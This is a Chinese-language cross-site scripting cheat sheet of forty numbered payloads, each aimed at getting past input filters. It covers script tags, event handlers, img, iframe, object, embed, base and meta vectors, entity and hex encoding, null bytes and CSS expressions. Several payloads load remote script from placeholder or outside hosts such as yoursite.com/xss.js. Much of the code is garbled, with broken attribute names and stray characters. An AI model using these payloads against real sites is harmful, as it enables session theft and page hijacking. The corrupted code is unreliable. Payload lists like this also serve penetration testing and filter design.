XSS case
Xss代码可以有很多变形,可以是下面列子的变形组合。
1、 最简单最常用的测试代码:
<script>alert(“xss”)</script> 输入框或者url参数。
2、 闭合前面的标签:<input
type=”text” value=””>
“><script>alert(“xss”)</script><a=”
3、 绕过引号过滤,过滤机制检测我们的输入一旦检测到单引号就加上\转义字符
使用html字符实体,如$#34;和"均表示双引号"><script>alert("xss")</script>
4、 使用javascript中的fromCharCode函数,用于将ascii转化成字符
<script>String.fromCharCode(97,108,101,114,116)(String.fromCharCode(88,83,83))</script>
5、 <ScRiPt. alert(“xss”);</ScRiPt>
6、 <Scriscriptpt>alert(“xss”);<scriScriptpt> 过滤时使用递归算法才能彻底过滤这种情况
不使用script标签
7、 我们可以使用<body
nload=”alert(‘xss’)”>
8、 <img src=a nerror=”javascript.:alert(‘xss’)”>
9、 <input type=”text” name=”username” nclick=”javascript.:alert(‘xss’)”>
10、 onActivate与onfocus事件:
<input
type=”text” name=”username” nActivate=”javascript.:alert(‘xss’)”>
<input
type=”text” name=”username” nfocus=”javascript.:alert(‘xss’)”>
理论上所有的事件都可以用来绑定js命令,不再一一列举
http://www.w3school.com.cn/htmldom/dom_obj_event.asp
<img>标签
11、 标准例子:<img src=”javascript.:alert(‘xss’);”>还有一些变形
12、 <img src=javascript.:alert(‘xss’)>
13、 <img
src=javascript.:alert("xss")>
14、 <img
src=javascript.:alert(String.fromCharCode(88,83,83))>
15、 或者全部转化为ascii码:<img src=javascript:ale
rt('XSS')>
16、 还可以转化成16进制,
<img src=javascript:al&
#x65;rt('XSS')>
制表符、换行符、回车
17、 <img src="jav ascript.:alert('XSS');"> 加入空格
18、 <img src=”javšscript.:alert(‘xss’);”>
19、 <img src=”javªscript.:alert(‘xss’);”>
20、 <img src=”jav
ascript.:alert(‘xss’);”>
21、 空字符,有的过滤器认为空字符就代表着字符串的结束
<scri%00pt>alert(‘xss’);</script>
(IE6、IE7)
22、 双引号配对
<img
"""><SCRIPT>alert('XSS')</SCRIPT>">,浏览器会解析成<img><script>alert('xss')</script>">
23、 <SCRIPT. "a='>'"
SRC="http://yoursite.com/xss.js"></SCRIPT>也可以换用<,或者混合使用
24、 转义字符的使用,<img src=’javascript.:alert(\”xss\”)’>,如果过滤器遇到双引号就转义,我们的\可以绕过该过滤方法。
通过css插入
25、 <link rel=”stylesheet” herf=”javascript.:alert(‘xss’);”>
(IE6、opera)
26、 <style. a { width:
expression(alert(‘xss’)) }</style>
27、 <div style=”width:
expression(alert(‘xss’));”>
28、 <STYLE>@import'http://yoursite.com/xss.css';</STYLE>
29、 <img style="xss:expr/*XSS*/ession(alert('XSS'))">
30、 利用iframe. <iframe. SRC="javascript.:alert('XSS');"></iframe>
31、 <FRAMESET><FRAME.
SRC="javascript.:alert('XSS');"></FRAMESET>
32、 table标签<TABLE
BACKGROUND="javascript.:alert('XSS')">
33、 <TABLE><TD
BACKGROUND="javascript.:alert('XSS')">
34、 <SCRIPT.
SRC="http://ha.ckers.org/xss.jpg"></SCRIPT> xss.jpg实际上是一个js文件
35、 <SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://yoursite.com/xss.js"></SCRIPT>
36、 <script. src=http://yoursite.com/xss.js?<B> 浏览器会自己纠正我们的语法错误
37、 <BASE
HREF="javascript.:alert('XSS');//">利用base标签
38、 <OBJECT TYPE="text/x-scriptlet"
DATA="http://yoursite.com/xss.html"></OBJECT>利用object标签。
39、 <EMBED
SRC="http://ha.ckers.org/xss.swf"
AllowScriptAccess="always"></EMBED>利用embed标签,可以插入代码恶意代码的flash文件。
40、 <META. HTTP-EQUIV=”refresh”
CONTENT=”0; URL=http://;URL=javascript.:alert(‘XSS’);”>